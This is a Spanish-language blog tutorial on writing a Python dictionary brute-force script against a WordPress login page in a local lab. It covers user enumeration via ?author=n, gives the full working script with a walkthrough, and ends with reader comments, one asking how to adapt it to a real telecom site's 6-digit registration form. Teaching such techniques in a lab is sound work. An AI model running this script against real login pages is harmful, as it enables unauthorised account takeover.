En el post de hoy vamos a ver como utilizar Python para realizar un ataque de fuerza bruta en una aplicación web. Para aquellos que no estén muy familiarizados con este lenguaje pueden acceder a nuestro curso aqui.
¿Qué es un ataque de fuerza bruta?
Un ataque de fuerza bruta, en criptografía, es la forma de recuperar una clave probando con todas las combinaciones posibles hasta encontrar la correcta.
Para realizar un ataque por fuerza bruta, se deben de tener en cuenta varios aspectos
- La longitud de la palabra que deseamos obtener (en este caso usuario y contraseña)
- El alfabeto utilizado para obtener todas las combinaciones posibles.
Por ejemplo, una contraseña consta de varios caracteres que pueden ser letras, números, caracteres especiales, etc. Para realizar este tipo de ataques se debe utilizar un diccionario de contraseñas.
El tamaño del diccionario dependerá de la posibilidad de encontrar la contraseña correcta pero también, el tiempo que tarde el ataque estará condicionado por el tamaño de dicho diccionario.
En el caso de hoy lo haremos mediante la realización de nuestro propio script en python pero, en otras ocasiones explicaremos como hacerlo con herramientas muy sencillas como WPScan o CMSmap.
Modulos utilizados para el script
Como ya sabéis, Python trabaja mediante el uso de módulos con los cuales obtener las funcionalidades que necesitemos en cada momento. En el caso de hoy, los módulos que vamos a utilzar son los siguientes:
- Módulo Requests, Urllib, Urllib2: Permiten interactuar con aplicaciones web. Trabajar con Métodos GET, POST, etc.
- Módulo BeautifulSoup: Permite leer estructuras HTML / XML para extraer datos.
- Módulo Re: Permite realizar búsquedas sobre expresiones regulares.
- Módulo Socks: Permite realizar conexiones entre Cliente/Servidor.
- Módulo Mechanize: Permite emular un navegador.
- Módulo Cookielib: Permite manejar cookies de sesión y de esta manera poder trabajar directamente con la sesión del usuario.
- Módulo Selenium: Interactúa con el Navegador (Chrome, Firefox, etc.) para ejecutar tareas designadas.
- Scrapy: Framework escrito en Python, orientado al proceso de descubrimiento de directorios, archivos. (Crawling).
Escenario de pruebas
Para este caso, hemos montado una maquina virtual con ubuntu 16.04 con una aplicación web del cms wordpress.
Este escenario vamos a utilizarlo para crear nuestra propia herramienta automatizada para realizar ataques de fuerza bruta contra este CMS. Para ello necesitaremos extrer los datos de los campos Username y Password del formulario de login, situado para cualquier instalación de wordpress en la ruta /wp-login.php. Una vez en la pantalla de login posicionamos el puntero del ratón en el campo Username, hacemos click derecho y luego click en la opción inspeccionar elemento. Esto nos devolverá un resultado como el que vemos en la siguiente imagen
Como es vemos el nombre del campo Username es log, y el nombre del campo Password es pwd. Esto es muy importante para desarrollar nuestra herramienta de fuerza bruta.
En nuestro caso, podemos observar que, la url a la que realizaremos nuestro ataque será http://wordpress.local/wp-login.php
Necesitaremos también el nombre de los usuarios registrados en la página, para ello accedemos a la url seguido de la estructura ?author=n (donde n será el id del usuario 1, 2, etc.). Una vez lo tenemos, continuamos con los pasos necesarios para nuestro script.
Siguiendo con los pasos necesarios, lo siguiente será crear nuestro propio diccionario para realizar el ataque, en nuestro caso hemos creado uno muy sencillo para poder realizar la explicación y demostrar su correcto funcionamiento pero, el diccionario será algo complicado en ocasiones.
Una vez con nuestro diccionario vamos a crear nuestro script.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
#!/usr/bin/python # Importamos los modulos necesarios. import requests # Abrimos el diccionario. dictionary = open("dictionary.txt","r") # Leemos cada palabra del diccionario una a una. for word in dictionary.readlines(): #creamos una variable con los datos del POST data = { 'log':'wordpress', 'pwd':word.strip("\n") } # Realizamos una peticion POST con los datos de wordpress. r = requests.post("http://wordpress.local/wp-login.php", data=data, allow_redirects=False) # Comprobamos si el resultado de la conexion nos devuelve un codigo 301 o 302. # Si el resultado es uno de estos dos codigos, la pass sera la correcta. if r.status_code in [301,302]: print "Las credenciales: wordpress : %s son validas" %(word.strip("\n")) break else: print "Las credenciales: wordpress : %s son invalidas" %(word.strip("\n")) |
Lo primero será importar el módulo request, que como ya hemos mencionado antes, nos permite interactuar con aplicaciones web.
1 2 |
# Importamos los modulos necesarios. import requests |
Posteriormente, abriremos nuestro diccionario creado previamente, para poder realizar nuestro ataque
1 2 |
# Abrimos el diccionario. dictionary = open("dictionary.txt","r") |
Con todo esto, empezaremos a leer el diccionario para realizar nuestro ataque, para ello hemos utilizado un bucle for, que nos lea una a una todas las líneas de nuestro diccionario.
1 2 |
# Leemos cada palabra del diccionario una a una. for word in dictionary.readlines(): |
Crearemos otro diccionario, en el cual guardaremos las credenciales
1 2 3 4 5 |
#creamos una variable con los datos del POST data = { 'log':'wordpress', 'pwd':word.strip("\n") } |
Y realizaríamos la petición al formulario
1 2 |
# Realizamos una peticion POST con los datos de wordpress. r = requests.post("http://wordpress.local/wp-login.php", data=data, allow_redirects=False) |
Ahora, sólo nos queda comprobar la respuesta obtenida de la petición pero, ¿cómo podemos detectar que la conexión fue exitosa?. Esto podemos determinarlo a través de los códigos HTTP. Un código HTTP corresponde a la respuesta obtenida en base a la consulta realizada por el cliente, en el caso de una respuesta correcta, devolvería un código 200, en caso de un error ante un recurso inexistente nos devolvería un código 403 o 404, por otra parte, cuando se realizara una redirección, el código de respuesta sería 301 o 302.
Si lo llevamos a nuestro script, lo que nos interesa es conocer la petición cuando nos devuelva un código de redireccionamiento, porque lo esperado es acceder al panel de administración una vez nos hemos logueado. Con esto podemos observar que si nos devuelve un código de resultado 301 o 302 será porque nuestras credenciales son correctas. Podemos ver claramente la comprobación en nuestro script
1 2 3 4 5 6 7 |
# Comprobamos si el resultado de la conexion nos devuelve un codigo 301 o 302. # Si el resultado es uno de estos dos codigos, la pass sera la correcta. if r.status_code in [301,302]: print "Las credenciales: wordpress : %s son validas" %(word.strip("\n")) break else: print "Las credenciales: wordpress : %s son invalidas" %(word.strip("\n")) |
Finalmente, sólo nos queda probar nuestro script y ver si realmente funciona
Podemos apreciar en la última prueba, como las credenciales de acceso serían wordpress como usuario y holamundo como contraseña. Este script funciona para cualquier formulario de login en wordpress, excepto obviamente si la aplicación posee un captcha, a no ser que dicho captcha esté desactualizado o con alguna vulnerabilidad.
Como dato final y para comprender un poco más el resultado de la petición, vamos a realizar la misma prueba desde el intérprete de Python.
Podemos apreciar claramente que en la primera prueba nos devuelve un código 200, ya que la contraseña es errónea pero, en la segunda ocasión, la contraseña es correcta y nos devuelve un código 302.
Por el momento es todo, comenten sus ideas, dudas, sugerencias… y, nos vemos en el siguiente post.
¿Y cuanto se puede tardar por fuerza bruta en averiguar una clave? ¿En este caso en concreto? Más o menos para tener una referencia, ya sé que cuanto más elaborada la contraseña más tiempo llevará… ¿Y algún consejo para evitar ser hackeado? Pues según mis pocos conocimientos del tema me da la sensación de que con paciencia (y saliva) más tarde o más temprano te hackean 🙁
Hola Opik, pues respondiendo a tu pregunta, todo dependerá de la longitud de la contraseña, del diccionario que utilices, de la velocidad a la que tu pc procesa y comprueba cada contraseña. No te puedo decir con exactitud, ya que bajo mi experiencia, en ocasiones he tardado minutos y en otras ocasiones unas cuantas horas en obtener la contraseña correcta.
Para el caso en concreto de este post, puedes evitarlo mediante el uso de honeypot, captcha o algún otro mecanismo para evitar ataques por un robot, o como en este caso, limitar el número de intentos de login que puede realizar el usuario atacante. También actualizar el código de tu aplicación conforme vayan saliendo nuevas actualizaciones, cambiar tu contraseña con frecuencia y utilizar una complicada, por ejemplo una generada aleatoriamente.
Hablando de hackear, a ver, seamos sinceros, no hay nada imposible y si alguien quiere hacerlo y se lo trabaja puede hacerlo pero, puedes utilizar diferentes técnicas con la que hacérselo más difícil y detectarlo antes de que llegase a causar problemas de verdad.
Espero haber resuelto tu duda, cualquier cosa me dices 😉
Y si no es en php? es decir… como obtengo la session si no es de este modo? ej: idp.movistar.com.ar/uni/autoregistracion/movistar/registro/asociar-linea
solo me pide 6 digitos